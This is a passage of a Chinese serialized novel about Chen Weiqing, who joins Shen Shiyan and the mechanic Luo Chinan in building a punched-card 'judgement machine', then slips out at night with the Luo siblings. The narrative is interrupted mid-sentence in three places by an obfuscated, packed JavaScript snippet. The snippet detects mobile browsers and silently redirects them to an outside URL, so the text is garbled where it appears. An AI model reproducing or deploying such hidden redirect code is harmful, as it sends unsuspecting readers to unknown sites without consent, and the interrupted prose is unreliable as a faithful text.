二人跟着女仆一前一后地走下去，沈时砚已经坐在那张玳瑁木包着牛皮的沙发上。那是父亲特地从香港定制的舶来家具，扶手微曲，包着的牛皮的表面因岁月而泛出柔光，靠背雕着暗纹，像一个被驯服的兽骨骨架，安静而警觉地盘踞在西厢厅中央。沙发太深，坐进去会自然后倾。沈时砚却坐得极正，看上去甚至有些僵硬。 而陈母唐敬微，穿一身月白细斜纹褙子，端坐在另一头。她的手指轻搭在茶盏上，眉眼里波澜不兴，一如她此刻望向沈家的目光——礼貌、平稳，隐隐有一种上位者的考量。 她没有立刻开口，只等梁悯初与陈蔚青走近，才淡淡点头：“悯初来了。蔚青，来坐。” 蔚青坐下那一瞬，明显觉察出母亲下意识朝她瞥了一眼，像是确认她有没有特意打扮，又或者察言观色她对“沈家人”的态度如何。 她低着头，坐在靠近母亲的一侧，坐下后她朝沈时砚礼貌地微笑了下，像是第一次见面的陌生人。 “沈公子说，前几日宴会未能成行，今日特地来请个安。”陈母声音温温的，像水滑过玉器。 沈时砚点头：“多谢夫人关心，那日确实不便。刚从海外回来，像是有些水土不服，母亲便帮我推脱了。” 像是有些水土不服——陈蔚青想起他在女中教室里的样子，差点笑出声来。 “哦？”陈母笑了，“沈夫人近来可好？我听说她在上海开女学？” “是，”他低头笑了笑，“但她早就不教了，现在只种花写信。” “有福气。”陈母抿了口茶，目光却轻飘飘地掠向蔚青。 “梁先生您好。”沈时砚偏过头看向梁悯初，“这几天听表妹黎婉芝讲起您，说您是个学识渊博的人。” 梁悯初和煦地笑着：“黎小姐谬赞了。” “听表妹说您曾在英国求学。”沈时砚身子微微前倾，显得有些急切，“您都学些什么呢？” 梁悯初一笑，神色温文：“读的是数学，但主攻的却不是解题。” 沈时砚愣了一下。 “研究方向是‘数理逻辑’。”他顿了顿，仿佛怕说得太抽象，又解释道：“简单说，就是用数学语言说话、思考、推理。” “更像哲学是吗？”蔚青忽然开口。 “是也不是。”梁悯初转头看她，目光温柔，又看向沈时砚，“我年轻的时候好奇心重，倒是什么都学了一点，现在是什么都不精。沈公子都研究些什么？” “就是……西洋那里有一种职业叫计算员。”沈时砚说，讲到了自己自己感兴趣的东西，语速越来愈快，“基本上是一群女孩子，工作就是在屋子里算术。” “帐房先生？”母亲问，声音里还是带着一种不容置疑的权威。 “账房小姐。”沈时砚一笑，“但她们算的数非常大，比如做人口普查之类的。甚至十年都算不完。于是就有人发明了算术的机器。” “像算盘一样吗？”陈蔚青追问。 沈时砚迟疑着，最后点了点头：“可以理解为，会自动算数的算盘。” “计算的机器。”梁悯初感叹道。 蔚青跟着点了点头，突然感觉到母亲的目光从旁边劈过来，像是空气突然有些不通畅。 尽是些无用之学，她感觉母亲在说。 母亲皱起眉，转身吩咐女仆：“把你们的老爷陈仲云叫下来。沈家的客人，不能怠慢。” 蔚青听到了这个可以短暂逃开的机会，忙站起来，跟母亲说：“我去吧，父亲是在书房吗？”母亲挥了挥手，示意她坐下。 不多时，陈父也被请了下来，一如往常地拖着拖鞋，身上罩着宽松的西式便衣，看着像是刚从书房移出来的人。他见到沈时砚，打量了一眼，语气倒也不失大方：“沈家的大公子，上次见你还是小娃娃呢。” 沈时砚不好意思地笑了笑。陈父又问道：“在西洋都学了些什么？会英文吗？你还是沈家的长子，以后未来还是靠你们这些年轻人的——Uneasyliestheheadthatwearsacrown。”他语气并不那么轻松，不像是在鼓励，倒是像是在下战书。 “Acrownitisthatseldomkingsenjoy.”沈时砚低下头，声音里浮起淡淡地悲伤，还有一点解脱的自由，“父亲早就放弃我了，他们准备把我弟弟送到上海去读书。” “噢？”陈父眼神一变，“上海？” “上海。”沈时砚重复了一遍，“时慧姐——啊就是我大姐，嫁到了上海的陆家，去那里有照应。父亲说南京这条路子最近难走，得换条路。” “不留洋了？”陈父哈哈笑着，“想当年我还去学戏剧，莎士比亚、易卜生、王尔德什么的。可惜被家里人拉回来管家了。” “不了。”沈时砚笑了笑，有些苦涩，“他们说我脑子都学坏了，成天就是电子、机器、算术什么的。” 陈父拍了拍他的肩膀：“也罢，像我这样多好。每天就是夫人管家，我现在连家里账目都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502438|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懒得翻。”话音刚落，陈蔚青用余光悄悄瞄了一眼母亲，母亲微微抬起了下巴，嘴角勾起一点点笑容，像是满意，但眉头的褶皱却又深了几分。 “姚老爷子当年在南京做的是？”陈母接过话头。 “是盐务署。”沈时砚答得不紧不慢，“后来去了交通部。” 她顿了顿，似乎慢慢咂味，又补了一句：“你母亲的手段不差。” “她自己说是‘不喜欢浪费时间’。”沈时砚嘴角轻轻一翘，眼里却没笑意。 一时间，屋内陷入了短暂的寂静。 梁悯初端起茶盏，小口喝了一口，像是对这些家族里的风波并不感兴趣，只淡淡道：“不管哪条路，终归还是要有人走。” “那也得是能走得动的人。”陈父笑了笑，“咱们这些人，说到底不过是被推着走的。”他放下茶盏，椅子发出细微的“吱呀”声。 “行啦，时候也不早了，吃饭去吧。”陈父站起身来，“今天难得有客，厨房做了只整鸡。” “沈公子不嫌弃我们家清淡吧？”陈母也起身，话里听不出波澜。 “怎么会。”沈时砚起身，点头欠身，“夫人客气了。只是今日我大姐从上海回来，我还得回家与家人一聚。” 他顿了顿，似是想起什么，从怀中掏出一封信，封皮整齐，字迹秀整。 “这是……给陈小姐的。”他说得郑重，语气却很平稳，“小事一桩，回去才写好，便顺道带来。” 蔚青一怔，脸唰地红了。 梁悯初挑眉，笑意微微浮在唇角，似是有点意外，也有点意味不明。母亲眼中露出了一丝藏不住的满意：“哎呀，沈家的公子倒是细致。”。父亲咳了一声，像是刚刚咽茶呛着，咳完后只笑笑：“我们这孩子……也没什么别的好处，就是安静些。” “陈小姐见笑。”沈时砚没解释，只把信递过去，又补了一句，“若有空，不妨一读。” 她手指刚触到那封信，像被烫了一下，脸更红了，连“谢谢”都说得含糊不清。 “投我以木桃，报之以琼瑶。”梁悯初忽然轻声念道，语调悠然，“看来这封信，可不能随便丢。” 蔚青猛地抬头，看了他一眼，急得几乎要说话，却又不知该从何说起。 “梁老师——”她声音拔高了些，却又硬生生压下来，“你不要胡说。” 她意识到自己声音太快太响，像是把什么也一并戳破了，连忙低下头，把那封信揣进袖中。 众人讪讪笑了两声，气氛被这小小的插曲点得微妙起来。 沈时砚借势告辞：“那我便先行一步，不叨扰晚饭了。” 他礼数周到地与众人告别，走出正厅时，还回头朝蔚青略一点头。 这天夜里，蔚青坐在书桌边，点着一盏小小的台灯，将那封信从袖中取出来，放在掌心，廊下灯影斜斜地落在窗前。 她盯着封口上的“陈”字看了半晌，才缓缓拆开。 信纸不长，工整而克制： 陈小姐： 若您对我那日在女中所说之事仍有兴趣，我近日在南州永丰纱厂那边托了朋友借了点地方，打算做些实验。 若遇守门工人，可报“沈字仓”，即会放行。 若您愿来，后日午后三点，不见不散。 沈时砚敬启 她盯着这几行字，先是呆住，随后整个人往椅背上一靠，脑中空了一拍。 怎么有点像公文？ 她忽地冒起一丝怒意——这算什么？让她被老师调笑，差点就没对她说“窈窕淑女君子好逑”了，然后只为告诉她一个“见面地点”？ 她咬牙看了一眼信纸，又忍不住低头重新看了一遍。 三遍之后，她的怒意却不知为何，缓缓转成了一种……难以言喻的兴奋？ 5. 机器之心 永丰纱厂位于南州城东，远离热闹街市，厂区围墙高高竖起，一道铁轨贴着外墙延伸，偶尔有运煤的车轰隆而过。天刚过午，阳光炙热，石板地面已烫得发烫。 陈蔚青站在永丰纱厂西门前，犹豫了一下，从手提包里掏出那封被她折得整整齐齐的信。她又低头看看自己身上穿的碎花雪纺上衣和半身裙——说是便服，可在这里还是显得太花哨。 守门人是个四五十岁的男人，皮肤黝黑，正在树荫下剥花生。他见她过来，半眯着眼问：“小姐，哪家的？” “我找……沈字仓。”她顿了顿，“沈公子让我来的。” 那人狐疑地看了她一眼，又望向她手中那封信，嘴里嘟囔了一句什么“果然是个大小姐”，这才站起身来，把花生袋往旁边一撂：“跟我来。” 她跟着他沿着侧道拐进厂区，耳边逐渐响起纱机“哐哐”作响的声音，还有女工叫喊的声音，夹着布料拖拽的摩擦，节奏密集得几乎让她喘不过气来。 空气里是浓重的棉屑味与机油味。她用手掩住鼻子，看见一个穿蓝布衣服的女孩从厂房里出来，年纪比她还小，头发贴在额前，背上的汗渍浸湿了一整块。女孩抬头看她时，眼神里没什么惊讶，只有一种淡漠和疲惫。 她忽然觉得有些局促，裙摆太长了，鞋子太新了，阳光太亮了，连自己影子都不属于这里。 绕过主厂房时，守门人指了指角落一座矮旧的小楼：“那边锅炉房，沈字仓就在那，自己进去吧。” “谢谢。”她低声说。 她站在那栋矮楼前，犹豫了一秒才推门进去。 门刚一开，室内扑出一阵闷热的铁锈味和焊锡味，光线比外头暗不少，像走进了一片沉默的水汽。 一个人影正蹲在地上整理什么，背对着她。他听到开门声，没回头，只随口问了一句：“大小姐你找谁？” 蔚青站在门口一时没反应过来。 那人终于回头，一双眼睛直直看着她。那人看上去二十岁出头，眼睛黑黑的，像一个深不见底的洞，眼睛又深深地陷在眼眶里，又给眉眼之间添了一层深邃。阳光透过门缝打在他额角，显出一道浅浅的伤痕。 “你是……”他看清了她的脸，忽然站起来，拍了拍手掌，“你是……陈小姐？” 她点点头，还没开口，就突然意识到自己站在油渍斑斑的地面上，穿着裙子像是误入了什么神秘领域。 “我来找沈时砚。”她尽量用平稳的语气说。 “他一会才来。”那人说，“我是这儿的修理工，罗炽南。” “你好。”她点了点头。 他像是要说点什么，又没说，只是拉了张椅子放在一边：“你先坐吧，这里热，不习惯就站窗边。” 她走进去，轻轻坐下，背挺得笔直，眼睛却扫过室内。 这里和她想象的不一样。没有想象中的书桌、绘图纸和电报机，只有一排旧木箱、一台拆了一半的缝纫机和几块放着铁丝的木板。 “你在这里工作？”她忽然问。 “我十几岁那会在这边厂子里跑腿，有时候也在这块歇脚。”罗炽南说，“这以前是锅炉间，后来废了。” “十几岁那会……”她有些发怔。 “你是哪家小姐？”他忽然问，“这地方不是你们这些人会来的。” “陈……”她突然不知道该怎么回答，从前从来没有人问过她这个问题，就像她母亲常说的——“只要你一站在那，别人就必须知道你是谁”，她思考了一秒，回答道，“家里是洋行的。” 他“哼”了一声：“沈公子就是有办法。” 门外传来一阵脚步声，两人一齐望向门口—— “我来晚了吗？”沈时砚喘着气走进来，脸上挂着汗珠，却还是一派书生模样。 蔚青站起来，冲他点点头，又不动声色地扫了罗炽南一眼。 “你们见过了？”沈时砚放下手里的包，“那太好了。” “是你朋友？”蔚青问。 “也算。”他笑笑，“我一个在南州还能信得过的熟人。” 罗炽南从鼻子里挤出一声冷哼：“所以说沈大少爷，你要做什么？” 沈时砚把包放在桌上，掏出几张图纸和铅笔，简单铺开。 “我说的，是这么一个东西，”他一边说，一边把几张纸摊开，纸上是些歪歪扭扭的框线和箭头，“它不复杂，用的是一套固定的问题结构。只要有问题——它就能输出一个判断。” “判断？”罗炽南挑了挑眉，“那跟厂子里打的考勤钟有啥两样？人来了，钟就响一下，人走了，又响一下。那也算判断？” “不一样。”沈时砚笑了笑，像是在等这个问题。“它不是测你来没来——它是回答：你要不要这样做。” 他顿了顿，看向蔚青：“我们可以设置一个问题系统，比如十道题。每道题只有两个选项——是或否。但真正有意思的是——这些选择会产生组合，组合会影响结果。” “没懂。”罗炽南说。 “比如说，”沈时砚忍着笑意，捡起一块木板在灰地上画了个简图，假如我是那台机器，有人来问我，‘你觉得这件事我该不该去做呢？’，于是我反问他：“第一个问题是：‘你有把握完成吗？’、第二个问题是：‘你会选择独自完成任务吗？’，他回答了以后，根据他的回答，我再给出‘我觉得你应该去做’或者‘我觉得你不应该去做’的结论。当然，答案和结果都是我们已经写好的，机器只是负责吐出来而已。” 陈蔚青眨了眨眼，若有所思：“你是说……这个机器是在模拟一个人的回答？” “没错。”沈时砚点头，“但这样说，还是太抬举它了。” “这台机器不是什么聪明的玩意儿。”沈时砚说着，掏出几张打着小孔的卡纸放在桌上，“它其实不会思考，也不会判断对错，它只会根据我们提前写死的规则，吐出一个固定的答案。” “比如我问它十个问题，每个问题只有‘是’或‘不是’两个答案。只要你选了‘是，是，不是，是……’这个顺序，它就会吐出一张纸条说——‘你可以去做’。” “为什么它这么说？不是它觉得你行，而是我们早就规定了：只要你这样选，它就说这句话。它根本不懂你是谁，也不管你要做什么。” “它像一只应声的鹦鹉，你提前告诉它‘如果有人说了甲和乙，那你就回答丙’，它以后只会照着说。它不会真的去思考，只会按照顺序走。” 他顿了顿，看着陈蔚青：“但你要是按照某个人的逻辑设计这一整套问题和答案，那它以后说出的每句话，就像——这个人还在跟你说话一样。” “这台机器的全部意义就在这。只是像个思维的照相机，虽然复制下来只是那个人静止不动的样子，但至少，人还有影像去怀念。” 屋内一时安静了几秒。 “说得好听。”罗炽南忽然开口，“可你做这个，到底是为了什么？” 沈时砚愣了一下，但语气还平稳：“我想在大学里谋个位置，那些理论没人听我讲，我需要有一个成品，能展示我这几年学的东西……这是最实际的。” “所以你做这个，是为了脱身？”罗炽南笑了，“沈家不想要你，你就想靠一台破机器挤出去？” 沈时砚张了张嘴，没说话。“你能讲讲原理吗？”陈蔚青被吸引住了，把话题扭回正轨，“这个机器要怎么问问题，怎么回答问题呢？” 沈时砚沉了口气，似是被罗炽南那句“破机器”带来的微妙锋芒刺到。他低下头，在地上上简略地划了几个方框，又画出线条连接其中。 “我们先设计一个问题结构。”他说，“十道问题，或者更多，你们来定，每道只能回答‘是’或‘否’。这些答案打在卡片上——比如打孔，或者按键，把它们转成电流信号，最后机器给出的结果会像电报机一样，写在它吐出来的纸带上。” “打孔？”罗炽南皱眉。 “对，原理其实很老了，美国人三十年前就在用了。”沈时砚点头，“是简化版的那种老式的人口普查机——他们用打孔卡片，把每个人的资料打在卡上，机器里有根针，去‘碰’那些小孔，只要碰到，就通电，相当于‘读懂了’这个信息。” 他笑了一下，补充道：“我们要做的也是类似的东西。问题、答案都提前打好，机器只是按顺序把你写好的答案‘读’出来，最后吐出一个判断，虽说是机电结合，但原理甚至远不如蒸汽时代纯机械的差分机的原理复杂。” 他顿了顿，语气变得认真：“不是很高深的，不是未来科技——只是一个能根据设定规则说‘是’或‘不是’的盒子。” “你们别误会，也别被吓着，我没打算造什么很厉害的东西。”他笑了笑，“但就算是这个……三个人做起来，也够我们忙一阵的。” 他停顿了一下，又补了一句：“我看过图纸，其实不难改造。” 蔚青缓缓开口：“也就是说……机器可以把……我的思想留下来？” 沈时砚点了点头：“是的——当然不是全部，但至少，一部分吧。” 他顿了顿，又低头拨了拨纸上的图线，像是斟酌用词：“不过，我觉得‘思想’这个词，可能还是有点大了。” 他抬起眼看向她，语气温和，却带着一种谨慎：“它更像是……一套判断方式。就像照片留下的是你的样子，一个静止不动的、你的画像，但不是真正的你。这个东西，也只是我们留下的一个逻辑壳子，不会再多了。” “你别太……感动。”他说得很轻，带着点笑意，又略带一丝抱歉，“这不是魔法，也不是奇迹，它只是齿轮、电流和纸带，按你写好的步骤，一步步重复。” 陈蔚青突然想到他在女中的教室里，快门按下那一刻，他问她：“你希望它留下你的什么样子？” 她那时没想好，说实话，现在也没有。 但是，无论如何——她低头看着那些图纸，手指轻轻摩挲着纸角，半晌才开口：“我明白了。我知道这机器不能真的回答我……我也知道，设好问题、设好答案，最后的‘判断’其实只是我自己写出来的。” 她抬起眼睛看向沈时砚，眼神异常的坚定，甚至带着几丝兴奋，“可问题是我定的，答案是我选的，这才是意义所在。哪怕结果早就写好了——那也是我写的。我想学着自己提问题，也想学着自己回答，自己做选择。” 她轻轻笑了一下，像在自嘲，又像在对自己打气，语气却格外平静：“我以前……从没觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502439|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得自己做得了什么。别人说我会写文章、会背诗、会钻研些‘女孩家不该学的东西’，可他们从来不觉得这算什么。不是正经事，不是将来能派上用场的东西。” “可我喜欢这些。我想试一次，哪怕只是打下手、干点杂活也好。我想在我喜欢的事情上，真正留下点东西，给他们看。” 她停了停，语气里有一种静静燃烧的任性与坚定：“我不想再当个无足轻重的洋娃娃了。” 锅炉房里一时安静下来。沈时砚望着她，神色一瞬间有些复杂。他没料到她会说出这样一番话——太直接，也太认真了。她的眼睛像一团急着寻找出口的火，带着某种执拗得近乎危险的热情。 他忽然有点预感：她会走得比他们想象中还远。可这一刻，他却什么也说不出来。 “怎么样？”他只好笑着开口，声音里带着一丝掩饰不住的激动，“我会负责主要的逻辑判断系统和结果输出系统的设计和制作——你们谁来设计问题结构和答案？” 他故作轻松地转向她：“欢迎加入。” 罗炽南眯着眼摆了摆手：“我没有想留下的思想。” “我也……”陈蔚青突然想到了什么，吞下她后面的话，改口道，“如果，不是我的，而是别人的，行不行？如果我用这个留下了别人的思想……如果以后，那个人不在我身边的时候，我想知道会怎么想，会怎么说，是不是就可以……知道了？” 沈时砚一愣，随即轻声回答：“行啊。如果你能为那个人设定一整套问题，那机器就能用她的思路来回答问题。” “就像他在场。”他顿了顿，“当然，前提是你真的理解他。” “这才是难的。”她低头笑了笑，像是对自己说的。 “那我来试试。”她缓缓开口，声音带着一丝慎重，“我来试着设计这一组问题吧。” “真的？”沈时砚眼睛一亮。 “嗯。” “那你想以谁为模型？” 她沉默了一下，说：“我母亲。” 一时间屋里安静下来，连窗外纱厂传来的轰鸣都显得遥远。 沈时砚点头，没多问。 罗炽南站起身，手插在口袋里，打破了宁静：“原来你们想的是这些。” “什么？” “你拿它去逃命——你又拿它去找妈妈——那我呢？我干嘛帮你们？”他站起身，走到窗边，一边往外看一边说，像是在看工厂里忙忙碌碌的人，“我呢，沈少爷，我帮你忙，你成了学校里的大师以后，我要你们沈家手下的一个厂——不是说要你们送给我，你们得给我一个工头的位置。” “有点功利了吧？”陈蔚青不满地说，“你就是为了这个？你就算技术很厉害，管理也不是那么容易的事情。怎么能说给就给。“ 气氛有一瞬间凝注。罗炽南没有回头，声音却冷下来：“是啊，我就为了这个。怎么，不高尚，不够理想，不够‘值得留在纸带上’？” “你要的只是位置，还是不合理的位置。”蔚青不甘示弱，“难怪你说你没有想留下的思想，这种东西怎么会有人想留下来，也没人想看。” “可我至少知道它能干嘛。”他转过身，语气里隐隐有火，“这东西最后还不是一堆螺丝钉、一些纸条、还有电。和厂子里打的考勤钟有什么两样，你怎么不去和做考勤钟的人讲你的思想你的大道理！” 沈时砚忍不住插话：“你别这样说。” “我说错了吗？”他盯着蔚青。 蔚青一震，脸色泛白，但没有吭声。 他又看向沈时砚，“我从头到尾都没骗你。我干活，是想拿点东西换点回报。你们沈家有的，我没有。” 屋里一阵沉默。 几秒后，他甩了一句：“我出去抽根烟。” 他转身离开了锅炉房，背影沉沉，像是和工厂那道旧墙影子融在了一块。 沈时砚望着他的背影，叹了口气：“他说得也没错。” 蔚青坐回椅子上，低声问：“你会给吗？” “工头的位置？” “嗯。” “会。”他顿了顿，“如果机器真做出来，我会给他。” “你还真是会做生意。”她轻声说。 沈时砚没反驳，只是向她抱歉地笑了笑，随即追了出去。 陈蔚青独自坐在那个命运的锅炉房里，此刻安静得几乎凝固。那时她还未曾想到，将来这里会响起机器的轰鸣、电流的跳动、三人争执的语调，和一句句彼此鼓励的回音。她只听到窗外的风吹过纱厂铁棚，发出微微的哐当声——像是一架沉睡的机器，在黑暗中缓缓苏醒。 很多年后，有学生问她： “哲学家唐纳德·戴维森提出这样一个问题：一个人穿越沼泽时被闪电击中，死去；而同时，另一道闪电击中附近沼泽，碰巧以完全相同的分子结构，重组出一个和他一模一样的复制人。 这个复制人拥有相同的记忆、语言、情感，甚至继续去找他的朋友，没有人发现他‘不是真正的他’。那么——那个人还是原来那个人吗？” 她沉默片刻，没有给出答案——她也不觉得自己真的能给出一个答案。她只是想起了那个下午，那个她决定要复制、保存母亲思想的下午。 6. 飞翔 锅炉房的铁皮墙在午后余光里泛着暗红的光，蒸汽沿着顶上的管道喘息地冒着气，像是个老掉牙却不肯罢工的巨兽。 三人各自坐在一堆拆散的零件堆里，屋里弥漫着锈蚀和焊锡味。沈时砚拿着一张粗草图，盯着中央的线路图发呆，最终放下纸张，低声说道：“我需要一台打字机——最好还有电报机的零件，老式的那种。” “打字机？”陈蔚青皱眉，侧头看他，“你要干嘛，用那个输出？” “嗯。”沈时砚点点头，“我试过用线圈驱动击打结构，可普通打字机太钝了。我想找一台老式的西门子或者……或者电报局淘汰的电报纸带机——我们改改线圈，直接接电流触发打印头……搞不好能做出一个‘自动回答’的机器。” “我家有一台。”她抬起头，说得轻描淡写，“以前父亲从香港带回来的，母亲说不许碰，但我想办法偷出来就是。” 话音刚落，罗炽南“哈”地一声笑了出来，手里的烙铁差点掉地上。他把帽子往后推了推，抬起头来看她，笑得一脸坏相：“偷？你也做得出来这种事啊。” 陈蔚青没搭理他，自顾自用布擦掉指尖上的油渍。 “这种东西，哪用得着偷。”罗炽南懒洋洋地把手搭在椅背上，像讲故事似的说，“你要多少，我今晚带你去买。又便宜，又多。” 沈时砚一挑眉：“哪来的？” 罗炽南朝他一笑：“广南路那边有黑市，那帮人从邮政、洋行、海关‘捡’出来的老设备，全扔地上卖——你懂货，能捡着宝；不懂嘛，呵。”他耸耸肩，“只能买回去当烟灰缸咯。” 陈蔚青一时间有些愣住，她从没听说过有这种事情，尽管她在这里生活了足足十八年：“真有？我怎么不知道呢？” “要不要来看看？”他眼睛里带着点儿挑衅，像是在等她反驳，“我晚上在你家楼下等你，大小姐，敢不敢来看看我们的夜生活？” 月光刚刚照进窗台，蔚青坐在床前，手指不自觉地在窗台上敲击着节奏。她心中忽然有些纠结：怎么出去呢？从正面走出去？如果说跟她们说婉芝生病了我得去看看她们会不会放我出去？还是…… 她正犹豫着，不知是否真要赴这场夜的邀约，忽然听到窗外一阵细细簌簌的声音，像是什么在轻蹭着窗框。她皱眉凑近，下一秒，“咚、咚”两声——竟是有人在敲窗。她赶忙拉开窗帘，引入眼帘的是一个浅褐色头发的年轻女孩，她心跳顿时漏了一拍。窗外月色浅淡，夜风拂着枝叶轻响。 窗外月色浅淡，夜风拂着枝叶轻响，那是一个十七八岁的女孩，长得有点像洋人，她看起来像被阳光晒褪色的头发蓬松地披散着，额前一缕被汗水黏住，贴在太阳穴上。她的五官有种模糊不清的大而明亮的感觉，藏着点不属于这片土地的随性与漫不经心。 她穿一件洗得发白的短外套，搭在一条旧布裙外，脚下是磨得泛白的布鞋，一只手挂在窗框上。她的眼神带着点挑衅式的调笑，一双灰褐色的眼珠在月光下微微发亮。 陈蔚青正想着是用英文开口还是中文开口，那人就先她一步说话了：“大小姐，你下不下来，我可就要爬进去了哦。”她压低声音，笑容里全是混不吝的爽朗。 蔚青惊得退了一步：“你……你是谁？” “罗简，罗炽南的妹妹啦~”她指了指楼下，“你看，我哥哥在下面呢。” 陈蔚青贴近窗台，顺着她的手指往下看，果然在陈宅后墙外的小巷里，看到那个熟悉的身影站在月色中。罗炽南也只穿了一件白色单衣，袖口挽起，整个人靠在墙边，一条腿随意地踩在墙根的石块上。他没有仰头看，似乎只是静静等着，但月光打在他肩头与臂膀上，勾勒出他因常年劳作而练出的清晰肌肉线条。他就那样站在夜色中，像一把被风吹响的弓。 “你疯了，这太危险了，你先下去。”陈蔚青低声说，眼神里是控制不住的慌张。 那女孩却咧嘴笑了，朝她做了个鬼脸，一只手撑着窗沿，一只手比了个“嘘”的手势，说：“这才二楼哇。” 然后，她灵活地翻身滑下，脚步在墙面一蹬，落在墙外那块石砖上，稳稳站住。她张开双臂仰头看着，像迎接月光，又像迎接一场秘密的飞跃。 “来吧，大小姐！”她压低声音喊了一句，嘴角扬起一个带着恶作剧又温柔的笑，“你不是说你敢的吗？” 蔚青站在窗边，裙摆被夜风吹得轻轻飘起。她回头看了一眼屋内，那盏昏黄的灯还亮着，像一只目光低垂的老猫。她知道，母亲就在楼下的起居室，或者更远一点的茶房里。而她，正站在那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502440|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从小到大被命运安排好的生活与未知之间的缝隙里。 她知道自己不是木偶——她的脑海里有齿轮在转动，有电流在跳跃，有问题在一遍遍追问，“你敢吗？” 她忽然想起那个餐厅，那张纸条，那句话，那个厕所的窗台。 “快跑，陈蔚青。“ 她没有再犹豫。裙角一翻，她攀上窗台，微微蹲下身，深吸一口气。风扑面而来，裙摆鼓动，像一面突然展开的旗帜。她站稳，抬头，看见月亮挂在对面屋檐上，像一只没入席的眼睛，悄悄望着她。 ——然后，她纵身一跃。 她落下的那一刻，像一张纸从高处飞下来。风托着她，她什么也没听见，像是穿过了一个无声的夜幕。 下一秒，她扑进了那个女孩的怀里。怀抱是温热的，不是软绵绵的那种，而是一种意想不到的——结实、稳当，像夜色里一根藏在地底的铁钉。罗简退了两步才站稳，但她一点也没慌，反倒像早就准备好似的，胳膊一收，把她从半空托进一个轻松得像玩笑一样的拥抱里。 蔚青的下巴撞上她肩头，鼻尖蹭到一缕微湿的头发，有点汗味，又有点柠檬汽水似的清凉香气。 “哎哟。”罗简低声笑了一句，声音从胸腔里震出来，有点痒，“还挺轻。” 蔚青怔了一瞬，然后意识到自己正整个人挂在一个陌生女孩身上，她下意识想挣开，手却还搭在她肩膀上，半天没收回来。 那怀抱有点乱糟糟的，心跳却出奇地稳。蔚青怔住了，几乎笑出来，又几乎要落泪。她突然觉得，今晚真的做了一件从前绝不可能做的事。 就在蔚青还没完全从震惊中回过神的时候，罗炽南已经走了过来。 他什么也没说，只是伸手很自然地把罗简的衣服整理了一下，顺手把她额前的一缕头发往耳后抹了抹，又轻轻拍了拍她肩上的灰尘——动作快极了，却带着一种熟练的亲昵，像是在给一只随时要飞走的小兽理毛。 “走吧。”他说，声音低低的，带着点夜风的清凉，又像是在压着什么东西不让它透出来，“我们该去找你要的东西了。” 罗简朝他吐了吐舌头，又回头冲蔚青挑了挑眉：“你还会飞吗？要不要再来一次？” 蔚青没说话，只是低头笑了一下。 7. 糖水铺 三人沉默地走在夜色中，脚步落在石板路上，像敲着节奏一样。 走了好一会儿，陈蔚青终于忍不住开口，语气带着一点迟疑：“你们是……亲兄妹？” “唔？”罗简抬起头，有点不服气地鼓了鼓腮帮子，“不像吗！” “别乱说。”罗炽南笑着伸手揉了揉她的头发，“我们只是一起在码头长大。” “码头？”蔚青一怔，听得有点发懵，“什么意思？” 前头街角的灯晃了晃，罗炽南停下来，手插在口袋里，轻轻地叹了一口气：“我们……从小就在南码头那片棚户区混大的。那时候街口有一间茶水铺，老板娘好心，每天收几个没人要的小孩去干活、给口饭吃。” “那天是下雨。”罗简插嘴，“我记得，老板娘穿着只到膝盖的裤子，手上拿着水瓢把我们轰进屋子里。” “我第一次见到她的时候——可能老板娘刚刚把她捡回来，她浑身是泥，脸上还有一道被猫抓的血痕。”罗炽南笑了笑，看了看妹妹，“可她当时给了我一块发霉的馒头。” “什么叫我给你的！那是你抢我的！”罗简一把推了他一把，“你还我！” 他们两个在巷子口闹了一下，像是互相踢打的小猫，但没一会又肩靠肩地并排走着。那种说不清的默契从灵魂深处渗出来。 “所以你们都不知道自己是谁的孩子？”蔚青低声问。 “我大概知道。”罗炽南语气平静，却像石子砸进水里，“我妈是个女工，不知道我爹是谁，她死的时候，我还不到五岁。” “我就不清楚了。”罗简转过头看着陈蔚青，“我听说我是小时候是被港口仓库那边的人捡到的。他们说我可能是哪个外国士兵留下的，也可能是个洋行伙计搞出来的麻烦。” “没人知道。”她耸耸肩，一脸云淡风轻，“也没人在乎。” 蔚青张了张口，却不知道该说什么。风从巷口吹过来，她忽然感觉到一种说不出的凉意。 “不过没关系。”罗简笑着说，“有哥哥就够啦。” “啧。”罗炽南故意皱眉，“别这么恶心。” 她一拳打过去，两人又打闹成一团，街角的灯光下，影子重叠交错。 他们打打闹闹走了一段，巷子的尽头亮起了一片光。 那光不是路灯，而是杂乱地从不同方向泼洒出来的——红的、绿的、黄的、甚至还有一盏挂着蓝纸灯罩的油灯，在风中轻轻晃动。越往前走，空气就越浑浊，像从河水走进了一锅浓汤。 